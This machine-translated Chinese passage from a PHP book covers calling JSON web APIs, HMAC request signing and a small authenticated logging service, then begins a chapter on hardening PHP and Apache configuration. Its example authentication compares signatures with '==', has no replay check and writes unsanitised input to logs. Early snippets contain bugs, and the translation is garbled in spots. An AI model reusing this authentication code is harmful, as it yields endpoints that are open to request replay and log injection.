当一个 web 服务或 API 被暴露给工作时,它提供了所谓的端点,也就是用来访问 API 的 URL。因为它基于 HTTP 协议,所以可以将参数传递给这样的 API。这可以是查询字符串参数的形式,就像从浏览器地址栏(GET request)中知道的那样,或者是 POST 请求,API 将返回一个响应。根据服务的不同,响应可以是 HTTP 协议支持的任何内容(文本、图像、二进制内容等)。).许多 web 服务提供商还发布了 PHP(和其他语言)的软件开发工具包(SDK ),这使得开发人员可以更容易地将服务集成到 web 应用中。脸书有一个用于认证服务的 SDK,亚马逊提供了一个用于简单存储服务(S3)和许多其他服务的 PHP SDK。这些 SDK 通常很容易用 composer 工具( https://composer.org )安装。

API 入门

为了使用以 JSON 格式返回数据的 API,或者如果您创建自己的以 JSON 格式返回数据给请求者的 RESTful APIs,您将需要一种创建内容的方法。JSON 是一种非常像 PHP 的数组结构的对象格式。PHP 提供了两个函数,使得从 JSON 编码的字符串到 PHP 变量的来回转换变得非常容易。这些功能被称为json_encode()json_decode()。在最简单的形式中,这两个函数都可以使用单个参数,如下例所示。

<?php
$a = ['apple', 'orange', 'pineapple', 'pear'];
header('Content-Type: application/json');
echo json_encode($a);

该示例将产生以下输出。

["apple","orange","pineapple","pear"]

header 语句用于告诉请求者期望响应中包含什么内容。如果您使用的是 PHP 的 CLI 版本,这条语句不会有任何视觉效果,因为命令行上不会返回任何头;但是,如果您使用 web 服务器返回结果,您将获得标题,客户端可以相应地采取行动。

同样,我们可以将 JSON 字符串转换成 PHP 变量,如下例所示:

<?php
$json ='["apple","orange","pineapple","pear"]';
print_r(json_decode($json));

这将把字符串变成一个 PHP 数组。

Array
(
    [0] => apple
    [1] => orange
    [2] => pineapple
    [3] => pear
)

将硬编码的字符串值转换成数组没有太大的价值,除非您想用这种方式将 PHP 变量以字符串格式存储在数据库或文件系统中。为了从 API 调用中检索响应,我们需要一个可以执行 API 调用的函数。您可以使用 PHP 中的套接字函数来编写打开连接、发送请求、读取响应和关闭连接的所有逻辑;但是在大多数情况下这是不必要的,因为函数file_get_contents()处理硬盘上的本地文件以及通过 HTTP 协议访问的远程文件,并且它在一个动作中完成所有这些事情。

为了说明使用 JSON 的 web 服务的简单本质,我们将查看 OpenWeatherMap。对于中等数量的 API 调用(每分钟多达 60 次)来说,这是一项免费服务,但是对于大量的请求,它们也支持付费服务。为了使用该服务,您必须请求一个 API 密钥(APPID)。这是用于识别您的网站和跟踪使用情况的标识符。( https://openweathermap.org/appid )。当您创建了一个 API 密钥后,您就可以开始使用该服务了。首先,您必须构建一个查询字符串,该字符串结合了一个基本 API URL 和您想要传递给 API 的参数。对于 OpenWeatherMap,可以根据城市名称、邮政编码和坐标请求当前天气或天气预报。下一个示例显示了如何检索邮政编码为 98109(华盛顿州西雅图市)的当前天气。

<?php
$OpenWeather = ['api_key' => '<API KEY>'];
$zip = "98109";
$base_url = "https://api.openweathermap.org/data/2.5";
$weather_url = "/weather?zip=" . $zip;
$api_key = "&appid={$OpenWeather['api_key']}";
$api_url = $base_url . $weather_url . $api_key;

$weather = json_decode(file_get_contents($api_url));
print_r($weather);

stdClass Object
(
    [coord] => stdClass Object
        (
            [lon] => -122.36
            [lat] => 47.62
        )

    [weather] => Array
        (
            [0] => stdClass Object
                (
                    [id] => 803
                    [main] => Clouds
                    [description] => broken clouds
                    [icon] => 04d
                )

        )

    [base] => stations
    [main] => stdClass Object
        (
            [temp] => 281.64
            [pressure] => 1011
            [humidity] => 75
            [temp_min] => 280.15
            [temp_max] => 283.15

        )

    [visibility] => 16093
    [wind] => stdClass Object
        (
            [speed] => 4.1
            [deg] => 320
        )

    [clouds] => stdClass Object
        (
            [all] => 75
        )

    [dt] => 1523817120
    [sys] => stdClass Object
        (
            [type] => 1
            [id] => 2931
            [message] => 0.0105
            [country] => US
            [sunrise] => 1523798332
            [sunset] => 1523847628
        )

    [id] => 420040070
    [name] => Seattle
    [cod] => 200
)

响应以对象的形式显示了许多关于位置和天气的不同参数。因此,要从响应中获得温度,可以使用$weather->Main->temp。请注意,温度以开尔文(K)标度给出,需要转换为摄氏度或华氏度。如果希望数据以数组而不是对象的形式返回,可以将 true 作为第二个参数传递给json_decode()函数。在这种情况下,您将访问作为$weather['main']['temp']的温度数据。

通过从一个名为weather的 API 切换到forecast ,,可以检索到未来五天的天气预报,每三小时一次。

<?php
$OpenWeather = ['api_key' => '<API KEY>'];
$zip = "98109";
$base_url = "https://api.openweathermap.org/data/2.5";
$weather_url = "/forecast?zip=" . $zip;
$api_key = "&appid={$OpenWeather['api_key']}";
$api_url = $base_url . $weather_url . $api_key;

$weather = json_decode(file_get_contents($api_url));
print_r($weather);

这会产生更长的输出。下面的例子只显示了第一行数据。

stdClass Object
(
    [cod] => 200
    [message] => 0.0047
    [cnt] => 39
    [list] => Array
        (
            [0] => stdClass Object
                (
                    [dt] => 1523847600
                    [main] => stdClass Object
                        (
                            [temp] => 280.33
                            [temp_min] => 278.816
                            [temp_max] => 280.33
                            [pressure] => 1006.85
                            [sea_level] => 1017.61
                            [grnd_level] => 1006.85
                            [humidity] => 100
                            [temp_kf] => 1.52
                        )

                    [weather] => Array
                        (
                            [0] => stdClass Object
                                (
                                    [id] => 501
                                    [main] => Rain
                                    [description] => moderate rain

                                    [icon] => 10n
                                )

                        )

                    [clouds] => stdClass Object
                        (
                            [all] => 92
                        )

                    [wind] => stdClass Object
                        (
                            [speed] => 1.71
                            [deg] => 350.002
                        )

                    [rain] => stdClass Object
                        (
                            [3h] => 3.0138
                        )

                    [sys] => stdClass Object
                        (
                            [pod] => n
                        )

                    [dt_txt] => 2018-04-16 03:00:00
                )

            … There are 30 rows of data …
        )

    [city] => stdClass Object
        (
            [id] => 420040070
            [name] => Seattle
            [coord] => stdClass Object

                (
                    [lat] => 47.6223
                    [lon] => -122.3558
                )

            [country] => US
        )

)

应用编程接口安全性

在上一节中,我们使用 OpenWeatherMap APIs 演示了如何以简单明了的方式与 RESTful APIs 进行交互。所需要的只是一个 API 键,用于服务器识别请求者并跟踪使用情况。在这种情况下,信息只向一个方向流动:从服务器到客户机。在其他情况下,数据将在两个方向上流动,有必要使 API 更加安全,以防止任何有权访问 GET 或 POST URL 的人与端点进行交互。第一步是确保与服务器的连接是安全的。如今,大多数流量都应该在服务器上安装 TLS/SSL 证书,并且应该使用 https://而不是 http://进行访问。然而,这只能保护被发送的数据,而不能确保发送者就是他/她所声称的那个人。

为了增加额外的安全层,通常的做法是在服务器和客户机之间交换一个“秘密”。机密永远不会与请求中交换的任何参数一起传递,但它用于创建哈希形式的签名,该签名可以在服务器上根据请求中包含的参数、有关如何创建签名的知识以及机密的服务器副本重新创建。

以这种方式创建签名的一个标准是亚马逊 AWS HMAC-SHA256 签名( https://docs.aws.amazon.com/AWSECommerceService/latest/DG/HMACSignatures.html ),但有许多方法可以实现这一点。生成这个秘密可能是一个麻烦的任务,但是 PHP 提供了一个函数使它变得简单一些。它被称为 hash_hmac(),其原型如下:

hash_hmac(string $algo, string $data, string $key [, bool $raw_output])

第一个参数$algos用于选择要使用的哈希算法。可以通过调用hash_hmac_algos()函数找到允许的值。创建供 AWS 使用的 HMAC 散列是通过 sha256 算法完成的。

第二个参数$data 是应该被散列的输入。为了与 AWS 一起使用,这应该是传递给 API 的所有参数的键/值对的列表,不包括签名值。准备好参数字符串后,值应该按字节值排序,每个键/值对应该用&分隔。当 API 被调用时,参数的顺序并不重要;但是在生成散列时,客户机和服务器使用相同的参数顺序来生成用于比较的签名是很重要的。否则,API 调用将失败。下面是字符串外观的示例:

AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&ItemId=0679722769&Operation=ItemLookup&ResponseGroup=Images%2CItemAttributes%2COffers%2CReviews&Service=AWSECommerceService&Timestamp=2014-08-18T12%3A00%3A00Z&Version=2013-08-01

注意,还提供了时间戳。这是 AWS 服务的要求。

第三个参数$key 是与 API 提供者交换的秘密,第四个参数用于控制输出的返回方式。设置为 true 将返回二进制数据,设置为 false 将返回十六进制字符串。

为了与 AWS 和其他服务提供者一起使用,字符串应该在添加到参数列表之前进行 base64 编码。下面的例子展示了这是如何工作的。

<?php

$url = "http://webservices.amazon.com/onca/xml";

$param = "AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&ItemId=0679722769&Operation=ItemLookup&ResponseGroup=Images%2CItemAttributes%2COffers%2CReviews&Service=AWSECommerceService&Timestamp=2014-08-18T12%3A00%3A00Z&Version=2013-08-01";

$data = " GET
webservices.amazon.com
/onca/xml
" . $param;

$key = "1234567890";
$Signature = base64_encode(hash_hmac("sha256", $param, $key, true));

$request = $url . "?" . $param . "&Signature=" . $Signature;

echo $request;

注意,签名的是整个 HTTP Get 请求,包括 HTTP 动词、主机名、位置以及参数列表。脚本的输出应该如下所示:

http://webservices.amazon.com/onca/xml?AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&ItemId=0679722769&Operation=ItemLookup&ResponseGroup=Images%2CItemAttributes%2COffers%2CReviews&Service=AWSECommerceService&Timestamp=2014-08-18T12%3A00%3A00Z&Version=2013-08-01&Signature=j7bZM0LXZ9eXeZruTqWm2DIvDYVUU3wxPPpp+iXxzQc=

本例中的时间戳看起来很旧,但这是为了与 AWS 文档中的示例相匹配。因为签名与文档中生成的签名相同,所以我们可以使用它来验证代码是否生成了正确的签名。当您创建代码来使用 API 时,您将需要一个当前的时间戳。

在上面的例子中,签名被作为一个额外的参数添加到查询字符串中。其他服务要求将信息作为标头包含在内,在某些情况下,您应该提供一个标头值,其中包含用于签名的标头值的名称和顺序,并提供第二个标头,其中包含实际签名。使用头值可以防止从浏览器访问 API,因为没有办法添加头。这可以被视为一个额外的安全层。

创建一个 API

使用服务提供商提供的 API 通常是一个很好的起点,但是当您开发自己的 web 应用时,您可能希望公开自己的 API,以允许其他站点或应用与您的服务集成。如果您想公开一个不需要任何身份验证就可以使用的 API,只需创建一个 PHP 脚本,以您想要的格式和标题返回请求的数据。不需要特别的技巧。您可能希望将 api 分离到不同的主机(或虚拟主机)中,如 api.mysite.com,或者将它们放在一个名为 API 或 service 的特殊文件夹中,这样就可以使用 https://mysite.com/api/api_name.php?param1=abc 来访问它们。移除。php 部分的 URL 可以通过实现 URL 重写来完成。

构建 API 通常从创建一个没有身份验证和访问控制的简单版本开始。这使得调试和修改变得容易,但是一旦开始向用户开放 API,就必须增加安全性,以防止未经授权的插入、删除或更新。

添加身份验证的第一步是决定当用户与服务交互时如何识别用户。这可能是用户定义的字符串、电子邮件地址或其他独特的信息。对于 AWS 和许多其他服务,这是由服务提供商生成的字符串。它对每个用户都是唯一的,因此它可以是数据库中自动生成的记录 id。同样,你需要某种形式的密钥或秘密。这可以是任意长度的字符串。在您的用户中它不必是唯一的,但是它应该只被服务器和客户机知道,因此被称为 secret。

下一步是定义如何在每个请求中生成签名并传递给服务器。您可以使用与上一节描述的 AWS HMAC-SHA256 方法相同的结构,也可以创建自己的结构。文档对于这一步很重要。定义签名方法后,您可以开始在服务器上编写函数来创建签名,并在调用 API 时根据用户提供的签名来验证它。为您的用户提供示例代码或 SDK 可能是一个好主意,这样可以让他们更容易地与您的服务集成,并且可以让您更容易地进行测试和调试。

验证签名只是操作的一部分。使用应用 id,您必须找到用户的秘密,以便执行验证。这可能涉及数据库查找。您还应该考虑在允许脚本继续执行之前,验证用户是否有权执行所请求的操作(插入、更新或删除)。如果出现错误,您需要向调用者返回一些可以处理的细节。就像一个有效的请求可能导致一个内容类型被设置为application/json,的 JSON 响应一样,您可以使用内容类型application/problem+json来指示出错了。在这两种情况下,响应文档都是 JSON 格式的,但是这两种类型的响应都由 content-type 头明确标识。

一个简单的 web 服务可以是日志服务,其中多个服务器可以使用一个公共 API 来记录事件。这将是一个服务于单一目的的简单服务,它可以有一个简单的接口,使集成多个网站或其他应用变得容易。日志服务的基本构造块包括防止未授权访问的身份验证、接收日志消息的 API 和检索事件的 API。这可以实现为一个具有三个方法的类,如下一个框架示例所示。

<?php
class logService {
    private function authenticate() {
    }

    public function addEvent() {
    }

    public function getEvents() {
    }
};

authenticate()函数应该能够验证请求,并找到调用客户端创建散列所使用的秘密。为了简单起见,我们可以创建一个简单的协议,其中只有应用 id 和时间戳被散列来创建签名。

private function authenticate () {
    if (empty($_GET['AppId']) || empty($_GET['Timestamp']) || empty($_GET['Signature'])) {
        return false;
    }
    else {
        $Secret = null;
        // Replace with a lookup of the secret based on the AppId.
        if ($_GET['AppId'] == 'MyApplication') {
            $Secret = '1234567890';
        }
        If ($Secret) {
            $params = "AppId={$_GET['AppId']}&Timestamp={$_GET['Timestamp']}";
            $Signature = base64_encode(hash_hmac("sha256", $param, $Secret, true));
            if ($Signature == $_GET['Signature']) {
                return $_GET['AppId'];
            }
            else {
                return false;
            }
        }
    }
}

authenticates()函数首先检查三个必需的参数是否传递给了请求。否则,该函数将返回 false。然后进行查找以查看 AppId 是否是有效的 Id,并且找到相关联的$Secret。这通常是某种类型的数据库查找,但是为了简单起见,它用硬编码的值来表示。最后,根据 AppId 和时间戳计算签名,并与请求提供的签名进行比较。

接下来我们可以处理 a ddEvent()函数。在基本示例中,该函数将使用请求者提供的消息创建一个条目,并将一行添加到与 AppId 同名的日志文件中。扩展该函数来处理额外的参数(如严重性或日志中可能有用的其他值)相对简单。该函数还将添加一个时间戳和调用 API 的客户机的 IP 地址。

public function addEvent() {
    if ($filename = $this->authenticate()) {
        $entry = gmdate('Y/m/d H:i:s') . ' ' . $_SERVER['REMOTE_ADDR'] . ' ' . $_GET['Msg']);
        file_put_contents('/log/' . $filename .'.log', $entry . "\n", FILE_APPEND);
        header('Content-Type: application/json');
        echo json_encode(true);
    }
    else {
        header('Content-Type: application/problem+json');
        echo json_encode(false);
    }
}

addEvent()函数首先使用authenticate()方法来验证请求者。如果验证成功,该函数将向应用的日志文件中写入一个条目,并返回 true。如果验证失败,将返回一个错误。

以类似的方式,我们可以实现检索日志的功能。为了简单起见,函数 getEvents 将检索整个日志,但是它可以被优化为包含一个日期参数,以便只检索日志的一部分。

public function getEvents() {
    if ($filename = $this->authenticate()) {
        header('Content-Type: text/plain');
        readfile('/log/' . $filename .'.log');
    }
    else {
        header('Content-Type: application/problem+json');
        echo json_encode(false);
    }
}

getEvents()函数将执行与 addEvent()相同的验证,如果验证成功,它将读取整个日志文件并将其返回给请求者。

现在我们已经设计好了整个类,我们可以创建用于添加条目或请求内容的脚本。第一个脚本名为 add_event.php,它将创建一个 logService 类的对象,并使用 addEvent()方法在日志中创建一个条目。

<?php
// add_event.php
require "log_service.php";

$log = new logService();
$log->addEvent();

第二个脚本名为 get_events.php,也将实例化 logService 类并调用 getEvents()方法。

<?php
// get_events.php
require "log_service.php";

$log = new logService();
$log->getEvents();

为了完整起见,下面是 log_service.php 脚本的完整列表,它定义了日志服务的类。

<?php
class logService {
    private function authenticate() {
        if (empty($_GET['AppId']) || empty($_GET['Timestamp']) || empty($_GET['Signature'])) {
            return false;
        }
        else {
            $Secret = null;
            // Replace with a lookup of the secret based on the AppId.
            if ($_GET['AppId'] == 'MyApplication') {
                $Secret = '1234567890';
            }
            If ($Secret) {
                $params = "AppId={$_GET['AppId']}&Timestamp={$_GET['Timestamp']}";
                $Signature = base64_encode(hash_hmac("sha256", $params, $Secret, true));
                If ($Signature == $_GET['Signature']) {
                    return $_GET['AppId'];
                }
                else {
                    return false;
                }
            }
        }
    }

    public function addEvent() {
        if ($filename = $this->authenticate()) {
            $entry = gmdate('Y/m/d H:i:s') . ' ' . $_SERVER['REMOTE_ADDR'] . ' ' . $_GET['Msg'];
            file_put_contents('/log/' . $filename .'.log', $entry . "\n", FILE_APPEND);
            header('Content-Type: application/json');
            echo json_encode(true);
        }
        else {
            header('Content-Type: application/problem+json');
            echo json_encode(false);
        }
    }

    public function getEvents() {
        if ($filename = $this->authenticate()) {
        header('Content-Type: text/plain');
        readfile('/log/' . $filename .'.log');
    }
    else {
        header('Content-Type: application/problem+json');
        echo json_encode(false);
    }
}
};

现在只需要一个 PHP 脚本来调用这两个 API。在这两种情况下,我们都需要生成一个与logService()类的签名相匹配的签名。

<?php
$AppId = 'MyApplication';
$Secret = '1234567890';
$url = 'https://logservice.com/api/add_event.php';
$Timestamp = time();
$Msg = 'Testing of the logging Web Service';
$params = "AppId={$AppId}&Timestamp={$Timestamp}";
$Signature = base64_encode(hash_hmac("sha256", $params, $Secret, true));
$QueryString = $params . '&Msg=' . urlencode($Msg) . '&Signature=' . urlencode($Signature);
echo file_get_contents($url . '?' . $QueryString);

在同一台服务器或远程服务器上执行该脚本将产生输出 true,并且日志文件将添加一个如下所示的条目:

2018/04/18 04:27:18 10.10.10.10 Testing of the logging Web Service

同样,可以创建一个脚本来检索该应用的日志文件。该脚本可能如下所示:

<?php
$AppId = 'MyApplication';
$Secret = '1234567890';
$url = 'https://logservice.com/api/get_events.php';
$Timestamp = time();
$params = "AppId={$AppId}&Timestamp={$Timestamp}";
$Signature = base64_encode(hash_hmac("sha256", $params, $Secret, true));
$QueryString = $params . '&Signature=' . urlencode($Signature);
echo file_get_contents($url . '?' . $QueryString);

这将产生类似如下的输出:

2018/04/18 04:27:18 10.10.10.10 Testing of the logging Web Service
2018/04/18 04:30:37 10.10.10.10 Testing of the logging Web Service
2018/04/18 04:30:39 10.10.10.10 Testing of the logging Web Service

摘要

本章讨论了 web 服务和使用 web 服务时最常见的两种技术,JSON 格式和 RESTful API 结构。您了解了如何与第三方提供的服务进行交互,如何使用 AWS HMAC 签名,以及如何创建简单的日志服务。

下一章将介绍另一个与安全性相关的高级特性:安全 PHP 编程。这包括软件漏洞以及如何处理用户提供的数据。

十九、PHP 安全编程

任何暴露在互联网上的网站或服务都可以被认为是一座不断受到野蛮人攻击的城堡。正如传统战争和信息战的历史所显示的,攻击者的胜利并不完全取决于他们的技术或狡猾程度,而是取决于城堡防御中的一个疏忽。作为电子王国的守护者,您面临着大量可能造成破坏的潜在入侵,尤其包括:

  • 软件漏洞 : Web 应用由多种技术构建而成,通常是数据库服务器、Web 服务器和一种或多种编程语言——所有这些都运行在一个或多个操作系统上。因此,在攻击者利用问题之前,不断了解并解决所有任务关键型技术中新发现的漏洞至关重要。确保您的所有软件都安装了最新的安全补丁。这适用于操作系统以及用于网站或服务的软件堆栈。在许多情况下,该软件依赖于其他包中的库和功能,即使您的站点没有使用这些库和功能。

  • 用户输入:利用因用户输入处理不当而产生的漏洞可能是对您的数据和应用造成严重损害的最简单方式,这一论断得到了无数此类成功攻击报告的支持。对通过 HTML 表单、URL 参数、cookies 和其他容易访问的途径传递的数据的操纵,使攻击者能够攻击应用逻辑的核心。这可能是网站中开发者控制力最强的部分。开发人员有责任以消除安全漏洞的方式编写代码。永远不要相信任何对你的网站或服务的输入。它被暴露在互联网上,任何了解它的人都可以使用他/她所拥有的任何工具来尝试访问数据或注入恶意代码。

  • 保护不力 数据:数据是你公司的命脉;丢失风险自担。然而,由于容易识别的 URL,数据库帐户常常受到可疑密码的保护,或者基于 web 的管理控制台大开方便之门。这些类型的安全失误是不可接受的,尤其是因为它们很容易解决。

因为每种情况都对您的应用的完整性构成了巨大的风险,所以必须对所有情况进行彻底的调查并做出相应的处理。这一章回顾了你可以采取的许多步骤来对冲——甚至消除——这些危险。

小费

验证和净化用户输入是一个非常严肃的问题,所以我不想等到本版的第十九章来讨论这个话题。因此,关于处理用户输入的重要信息已被移至第十三章。如果你还没有仔细阅读这些材料,我强烈建议你现在就阅读。

安全地配置 PHP

PHP 提供了许多配置参数,旨在大大提高其安全意识水平。本节介绍了许多最相关的选项。

注意

多年来,PHP 提供了一个被称为安全模式的特定于安全的选项,它试图通过限制对 PHP 的许多本机特性和功能的访问来使 PHP 和 web 服务器更加安全。然而,由于安全模式解决的问题越多,产生的问题也越多,很大程度上是因为企业应用需要使用安全模式禁用的许多特性,所以开发人员决定从 PHP 5.3.0 开始弃用该特性。因此,尽管你会在网上找到很多关于安全模式的参考,你应该避免使用它,而是寻求实现其他的安全措施(其中很多在本章中介绍)。

与安全相关的配置参数

本节介绍几个配置参数,它们在更好地保护 PHP 安装中起着重要作用。在你开始深入这一部分之前,你应该考虑你的网站或服务的托管环境。如果您在一个共享环境中,您可能对 PHP 配置有有限的控制,并且您将与同一主机的其他用户共享可用资源。如果另一个网站使用了所有的磁盘空间或内存,您的网站可能会停止工作或变得不稳定。我建议使用专用的托管环境,如虚拟专用服务器(VPS)或专用硬件。

disable_functions = 字符串

范围:PHP_INI_SYSTEM;默认值:NULL

您可以将disable_functions设置为您想要禁用的函数名的逗号分隔列表。假设您只想禁用fopen() , popen() ,file()功能。如下设置该指令:

disable_functions = fopen,popen,file

这个选项通常用在共享主机环境中,主机提供商希望限制每个 PHP 开发人员可以访问的功能。在允许多个开发人员为同一个站点或服务编写代码的环境中,它也很有用。

disable_classes = 字符串

范围:PHP_INI_SYSTEM;默认值:NULL

考虑到 PHP 对面向对象范式的接受所提供的新功能,用不了多久,您就可以使用大型类库了。然而,在这些库中可能有一些你不愿意使用的类。您可以使用disable_classes指令来阻止这些类的使用。例如,您可以完全禁用两个名为administratorjanitor的类:

disable_classes = "administrator, janitor"

display_errors = |

范围:PHP_INI_ALL;默认值:On

在开发应用时,如果脚本执行过程中出现任何错误,立即得到通知是非常有用的。PHP 将通过向浏览器窗口输出错误信息来满足这一需求。但是,这些信息可能会被用来揭示有关您的服务器配置或应用的具有潜在破坏性的详细信息。当应用转移到生产环境时,请记住禁用此指令。当然,您可以通过将这些错误消息保存到日志文件或使用其他日志机制来继续查看它们。参见第八章了解更多关于 PHP 日志特性的信息。

max_execution_time = 整数

范围:PHP_INI_ALL;默认值:30

这不是一个安全设置,而是一种控制脚本使用资源的方式。该指令指定脚本在终止前可以执行的秒数。这有助于防止用户的脚本消耗过多的 CPU 时间。如果max_execution_time设置为0,则不设置时间限制。在 PHP 的 CLI 版本中,这默认为 0,即使在 php.ini 中定义了另一个值。

内存限制= 内存

范围:PHP_INI_ALL;默认值:128M

同样,这不是一个与安全相关的选项,而是用于限制脚本可以使用的资源量。这个指令以兆字节为单位指定一个脚本可以使用多少内存。请注意,您不能用兆字节以外的术语来指定这个值,并且您必须始终在数字后面加上一个M。该指令仅适用于在配置 PHP 时启用了--enable-memory-limit的情况。

open _ base dir =字符串

范围:PHP_INI_ALL;默认值:NULL

PHP 的open_basedir指令可以建立一个基本目录,所有的文件操作都将被限制在这个目录中,就像 Apache 的DocumentRoot指令一样。这可以防止用户进入服务器的其他受限区域。例如,假设所有 web 资料都位于目录/home/www中。为了防止用户通过几个简单的 PHP 命令查看和潜在操纵文件,比如/etc/passwd,可以考虑这样设置open_basedir:

open_basedir = "/home/www/"

user_dir = 字符串

范围:PHP_INI_SYSTEM;默认值:NULL

该指令指定用户主目录中的目录名,PHP 脚本必须放在该目录中才能执行。例如,如果user_dir被设置为脚本,用户 Johnny 想要执行somescript.php,Johnny 必须在其主目录中创建一个名为scripts的目录,并将somescript.php放入其中。然后可以通过 URL http://example.com/~johnny/scripts/somescript.php 访问这个脚本。该指令通常与 Apache 的UserDir配置指令一起使用。

隐藏配置详细信息

许多程序员更喜欢把他们部署开源软件的决定作为一个徽章让全世界看到。然而,重要的是要认识到,您发布的关于您的项目的每一条信息都可能为攻击者提供重要的线索,这些线索最终可能被用来渗透您的服务器。考虑另一种方法,让您的应用保持独立,同时尽可能对技术细节保持沉默。尽管混淆只是整个安全画面的一部分,但它仍然是一种应该永远记住的策略。请记住,心怀不轨的人可以访问开源库的源代码,这使他们能够找到漏洞。

隐藏阿帕奇人

Apache 输出包含在所有文档请求和服务器生成的文档中的服务器签名(例如,500 内部服务器错误文档)。两个配置指令负责控制这个签名:ServerSignatureServerTokens

Apache 的服务器签名指令

ServerSignature指令负责插入与 Apache 的服务器版本、服务器名称(通过ServerName指令设置)、端口和编译模块相关的单行输出。当启用并与ServerTokens指令(接下来介绍)一起工作时,它能够显示如下输出:

Apache/2.4.18 (Ubuntu) Server at localhost Port 80

很可能你宁愿把这些信息留给自己。因此,考虑通过将其设置为Off来禁用该指令。

如果ServerSignature被禁用,则该指令没有实际意义。如果由于某种原因必须启用ServerSignature,考虑将指令设置为Prod

Apache 的 ServerTokens 指令

如果启用了ServerSignature指令,则ServerTokens指令确定提供何种程度的服务器细节。有六种选择:FullMajorMinimalMinorOSProd。表 21-1 中给出了各自的示例。

表 21-1

ServerTokens 指令的选项

|

[计]选项

|

例子

|
| --- | --- |
| Full | Apache/2.4.18 (Ubuntu) PHP/7.2.1 服务器 |
| Major | Apache/2 服务器 |
| Minimal | Apache/2.4.18 服务器 |
| Minor | Apache/2.4 服务器 |
| OS | Apache/2.4.18 (Ubuntu)服务器 |
| Prod | Apache 服务器 |

隐藏 PHP

您可以掩盖 PHP 正在您的服务器上使用的事实。使用expose_php指令来防止 PHP 版本细节被附加到您的 web 服务器签名中。阻止对phpinfo()的访问可以防止攻击者了解你的软件版本号和其他关键信息。更改文档扩展名,使页面映射到 PHP 脚本不那么明显。

expose _ PHP =1 | 0

范围:PHP_INI_SYSTEM;默认值:1

启用时,PHP 指令expose_php将其细节附加到服务器签名中。例如,如果ServerSignature被启用,ServerTokens被设置为Full,并且该指令被启用,则服务器签名的相关组件将如下所示:

Apache/2.4.18 (Ubuntu) PHP/7.2.1 Server

expose_php被禁用时,服务器签名将如下所示:

Apache/2.4.18 (Ubuntu) Server

移除 phpinfo()调用的所有实例

phpinfo()函数为查看给定服务器上 PHP 的配置摘要提供了一个很好的工具。然而,如果在服务器上不受保护,它提供的信息对攻击者来说就是一座金矿。例如,这个函数提供关于操作系统、PHP 和 web 服务器版本、配置标志的信息,以及关于所有可用扩展及其版本的详细报告。让攻击者能够访问这些信息将极大地增加潜在攻击媒介被发现并随后被利用的可能性。

不幸的是,似乎许多开发人员没有意识到或不关心这样的披露。事实上,在搜索引擎中键入phpinfo.php会产生超过 400,000 个结果,其中许多直接指向执行phpinfo()命令的文件,因此提供了大量关于服务器的信息。快速细化搜索条件以包括其他关键字会产生初始结果的子集(旧的、易受攻击的 PHP 版本),这些结果可能成为攻击的主要目标,因为它们使用了已知的不安全版本的 PHP、Apache、IIS 和各种支持的扩展。

允许其他人查看来自phpinfo()的结果实质上相当于为公众提供了一个路线图,让他们了解你的服务器的许多技术特点和缺点。不要仅仅因为懒得删除或保护这个文件而成为攻击的受害者。使用disable_functions指令在生产环境中禁用该功能是一个好主意。

更改文档扩展名

支持 PHP 的文档很容易通过它们独特的扩展名来识别,最常见的是.php.php3.phtml。你知道吗,这可以很容易地改变成你想要的任何其他扩展名,甚至是.html.asp.jsp?只需更改您的httpd.conf文件中的行,内容如下

AddType application/x-httpd-php .php

您可以随意扩展,例如

AddType application/x-httpd-php .asp

当然,您需要确保这不会导致与其他已安装的服务器技术或开发环境的冲突。或者,您也可以使用 web 服务器的 URL 重写功能来创建没有文件扩展名的更友好的 URL。

隐藏敏感数据

位于服务器文档树中并拥有足够权限的任何文档都是任何能够执行GET命令的机制的合理检索对象,即使它不是从另一个网页链接的,或者不以 web 服务器识别的扩展名结尾。不信服?作为练习,创建一个文件,在这个文件中输入我的秘密。将这个文件保存到你的公共 HTML 目录下,命名为秘密,使用一些奇怪的扩展名,比如.zkgjg。显然,服务器不会识别这个扩展名,但它会尝试检索数据。现在转到您的浏览器,使用指向该文件的 URL 请求该文件。很可怕,不是吗?

当然,用户需要知道他想要检索的文件的名称。然而,就像假定包含phpinfo()函数的文件将被命名为phpinfo.php一样,要找到受限文件,需要一点技巧和利用 web 服务器配置缺陷的能力。幸运的是,有两种简单的方法可以彻底纠正这个问题。这个问题由于开源库的使用而变得更加严重。任何其他开发人员/黑客都可以下载相同的库,并通读代码以找到利用该库的可能方法。当发现漏洞时,很容易扫描网站以检查它们是否暴露了漏洞。

隐藏文档根

Apache 的httpd.conf文件中有一个名为DocumentRoot的配置指令。这被设置为您希望服务器识别为公共 HTML 目录的路径。如果没有采取其他保护措施,则在此路径中找到的任何文件,如果分配了足够的权限,都能够得到服务,即使该文件没有可识别的扩展名。但是,用户不可能查看位于此路径之外的文件。因此,考虑将您的配置文件放在DocumentRoot路径之外。

要检索这些文件,您可以使用include()将这些文件包含到任何 PHP 文件中。例如,假设您像这样设置DocumentRoot:

DocumentRoot C:/apache2/htdocs    # Windows
DocumentRoot /www/apache/home     # Linux

假设您正在使用一个日志包,它将站点访问信息写入一系列文本文件。您肯定不希望任何人查看这些文件,所以将它们放在文档根目录之外是个好主意。因此,您可以将它们保存到先前路径之外的某个目录中:

C:/Apache/sitelogs/     # Windows
/usr/local/sitelogs/    # Linux

拒绝访问某些文件扩展名

防止用户查看某些文件的第二种方法是通过配置httpd.conf文件Files指令来拒绝对某些扩展名的访问。假设你不希望任何人访问扩展名为.inc的文件。将以下内容放入您的httpd.conf文件中:

<Files *.inc>
    Order allow,deny
    Deny from all
</Files>

添加之后,重新启动 Apache 服务器。您会发现,任何通过浏览器请求查看扩展名为.inc的文件的用户都被拒绝访问。但是,您仍然可以在脚本中包含这些文件。顺便说一下,如果你搜索一下httpd.conf文件,你会发现这是用来保护访问.htaccess的相同前提。

数据加密

加密可以定义为将数据转换成除目标方之外的任何人都无法读取的格式。然后,目标方可以通过使用某种秘密——通常是密钥或密码——对加密数据进行解码,或解密。PHP 支持几种加密算法;比较突出的在这里描述。

PHP 的加密功能

